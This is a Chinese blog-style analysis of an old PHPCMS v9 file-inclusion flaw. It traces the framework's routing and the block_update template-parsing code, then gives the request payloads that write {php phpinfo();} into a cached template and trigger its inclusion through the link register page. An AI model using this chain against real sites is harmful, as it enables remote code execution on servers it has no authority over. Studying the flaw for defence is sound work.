前言 phpcmsv9文件包含漏洞
很早的漏洞,重新分析一下.
漏洞分析 路由分析 路由分析index.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php define('PHPCMS_PATH' , dirname(__FILE__ ).DIRECTORY_SEPARATOR); include PHPCMS_PATH.'/phpcms/base.php' ;pc_base::creat_app(); ?>
跟进/phpcms/base.php
,这是PHPCMS框架入口文件
文件头就定义了IN_PHPCMS
为true
回到index.php
,以下的代码是在调用base.php
中的pc_base
类的creat_app()
函数.
分析一下路由,在base.php
中分别有三个加载模块所需要调用的方法
这三个都是去调用_load_class
函数
分析这个函数
可以明白
load_sys_class
调用./phpcms/libs/classes
的文件
load_app_class
调用./phpcms/modules/模块名/classes
的文件
load_model
调用./phpcms/model
的文件
回过头来再看
1 2 3 public static function creat_app () { return self ::load_sys_class('application' ); }
然后跟进./phpcms/libs/classes/application.class.php
然后跟进./phpcms/libs/classes/param.class.php
,在application.class.php
中分别调用了route_m
,route_c
,route_a
可通过传参来指定调用模型,控制器,事件
然后回到application.class.php
,调用函数init()
1 2 3 4 5 6 7 8 9 10 11 12 private function init () { $controller = $this ->load_controller(); if (method_exists($controller, ROUTE_A)) { if (preg_match('/^[_]/i' , ROUTE_A)) { exit ('You are visiting the action is to protect the private action' ); } else { call_user_func(array ($controller, ROUTE_A)); } } else { exit ('Action does not exist.' ); } }
然后调用load_controller()
,加载事件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private function load_controller ($filename = '' , $m = '' ) { if (empty ($filename)) $filename = ROUTE_C; if (empty ($m)) $m = ROUTE_M; $filepath = PC_PATH.'modules' .DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php' ; if (file_exists($filepath)) { $classname = $filename; include $filepath; if ($mypath = pc_base::my_path($filepath)) { $classname = 'MY_' .$filename; include $mypath; } if (class_exists($classname)){ return new $classname; }else { exit ('Controller does not exist.' ); } } else { exit ('Controller does not exist.' ); } }
漏洞分析 定位:./phpcms/modules/block/block_admin.php::block_update()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public function block_update () { $id = isset ($_GET['id' ]) && intval($_GET['id' ]) ? intval($_GET['id' ]) : showmessage(L('illegal_operation' ), HTTP_REFERER); if ($this ->roleid != 1 ) { if (!$this ->priv_db->get_one(array ('blockid' =>$id, 'roleid' =>$this ->roleid, 'siteid' =>$this ->siteid))) { showmessage(L('not_have_permissions' )); } } if (!$data = $this ->db->get_one(array ('id' =>$id))) { showmessage(L('nofound' )); } if (isset ($_POST['dosubmit' ])) { $sql = array (); if ($data['type' ] == 2 ) { $title = isset ($_POST['title' ]) ? $_POST['title' ] : '' ; $url = isset ($_POST['url' ]) ? $_POST['url' ] : '' ; $thumb = isset ($_POST['thumb' ]) ? $_POST['thumb' ] : '' ; $desc = isset ($_POST['desc' ]) ? $_POST['desc' ] : '' ; $template = isset ($_POST['template' ]) && trim($_POST['template' ]) ? trim($_POST['template' ]) : '' ; $datas = array (); foreach ($title as $key=>$v) { if (empty ($v) || !isset ($url[$key]) ||empty ($url[$key])) continue ; $datas[$key] = array ('title' =>$v, 'url' =>$url[$key], 'thumb' =>$thumb[$key], 'desc' =>str_replace(array (chr(13 ), chr(43 )), array ('<br />' , ' ' ), $desc[$key])); } if ($template) { $block = pc_base::load_app_class('block_tag' ); $block->template_url($id, $template); } ..... .... ......
关键代码:
1 2 3 4 if ($template) { $block = pc_base::load_app_class('block_tag' ); $block->template_url($id, $template); }
调用了template_url
()
跟进至./phpcms/modules/block/classes/block_tag.class.php::template_url()
对照template_url()
的内容,回到block_update()
.其中$template
和$id
都是我们能控制的.然后这里调用了teemplate_cache.class.php
的template_parse()
这里其实不严谨,令payload为{php phpinfo();}
就可以绕过
最有意思的一点来了,block_update()
在逻辑上是一段更新数据用的代码
所以这个数据首先得存在才可以
那么我们先看block_admin.php
的add()
然后构造payload
1 2 3 4 5 6 7 8 9 10 (1 )添加一个数据,添加后如数据库所示 payload: ?m=block&c=block_admin&a=add&pos=1 &pc_hash=pI9K4g POST:dosubmit=1 &name=test&type=2 (2 )更新数据,更新后的结果如下图 payload ?m=block&c=block_admin&a=block_update&id=2 &pc_hash=pI9K4g POST:dosubmit=1 &template={php phpinfo();}
文件已经写入
接着就是如何读取文件,如果像平时那样直接根据路径会读文件,会因为
1 <?php defined('IN_PHPCMS' ) or exit ('No permission resources.' ); ?>
而无法读取,但是如果在后台有登录的情况下,由于在base.php中的如下代码,
1 define('IN_PHPCMS' , true );
则可以通过构造payload读取木马文件.
/phpcms/modules/block/classes/block_tag.class.php:pc_tag()
其中
1 include $this ->template_url($id);
将会根据id去读取/phpcms/caches/caches_template/block
里的文件.
然后这时候看到./phpcms/modules/link/index.php::register()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public function register () { $siteid = SITEID; if (isset ($_POST['dosubmit' ])){ if ($_POST['name' ]=="" ){ showmessage(L('sitename_noempty' ),"?m=link&c=index&a=register&siteid=$siteid" ); } if ($_POST['url' ]=="" || !preg_match('/^http:\/\/(.*)/i' , $_POST['url' ])){ showmessage(L('siteurl_not_empty' ),"?m=link&c=index&a=register&siteid=$siteid" ); } if (!in_array($_POST['linktype' ],array ('0' ,'1' ))){ $_POST['linktype' ] = '0' ; } $link_db = pc_base::load_model(link_model); $_POST['logo' ] =new_html_special_chars($_POST['logo' ]); $logo = safe_replace(strip_tags($_POST['logo' ])); if (!preg_match('/^http:\/\/(.*)/i' , $logo)){ $logo = '' ; } $name = safe_replace(strip_tags($_POST['name' ])); $url = safe_replace(strip_tags($_POST['url' ])); $url = trim_script($url); if ($_POST['linktype' ]=='0' ){ $sql = array ('siteid' =>$siteid,'typeid' =>intval($_POST['typeid' ]),'linktype' =>intval($_POST['linktype' ]),'name' =>$name,'url' =>$url); }else { $sql = array ('siteid' =>$siteid,'typeid' =>intval($_POST['typeid' ]),'linktype' =>intval($_POST['linktype' ]),'name' =>$name,'url' =>$url,'logo' =>$logo); } $link_db->insert($sql); showmessage(L('add_success' ), "?m=link&c=index&siteid=$siteid" ); } else { $setting = getcache('link' , 'commons' ); $setting = $setting[$siteid]; if ($setting['is_post' ]=='0' ){ showmessage(L('suspend_application' ), HTTP_REFERER); } $this ->type = pc_base::load_model('type_model' ); $types = $this ->type->get_types($siteid); pc_base::load_sys_class('form' , '' , 0 ); $SEO = seo(SITEID, '' , L('application_links' ), '' , '' ); include template('link' , 'register' ); } }
其中最关键是
1 include template('link' , 'register' );
跟进template()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function template ($module = 'content' , $template = 'index' , $style = '' ) { if (strpos($module, 'plugin/' )!== false ) { $plugin = str_replace('plugin/' , '' , $module); return p_template($plugin, $template,$style); } $module = str_replace('/' , DIRECTORY_SEPARATOR, $module); if (!empty ($style) && preg_match('/([a-z0-9\-_]+)/is' ,$style)) { } elseif (empty ($style) && !defined('STYLE' )) { if (defined('SITEID' )) { ..... ..... echo "123" ; var_dump($compiledtplfile); echo "123" ; return $compiledtplfile; }
可以把这个路径打印出来看看是怎么回事
payload
1 ?m=link&c=index&a=register&siteid=1
然后跟进register.php
发现这里会调用pc_tag(),当然也可以全局搜索,然后来看看哪里调用了pc_tag()
既然调用了pc_tag(),那么木马文件就会被读取
payload:
1 ?m=link&c=index&a=register&siteid=1
总结 好多之前没有懂的东西,都懂了.炒冷饭现场…….